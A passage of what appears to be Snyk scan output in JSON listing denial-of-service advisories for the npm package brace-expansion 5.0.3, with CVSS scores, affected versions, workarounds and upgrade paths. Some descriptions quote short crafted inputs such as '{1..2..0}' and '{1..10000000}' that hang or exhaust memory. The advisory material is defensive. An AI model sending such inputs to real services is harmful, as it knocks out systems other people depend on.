"functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", 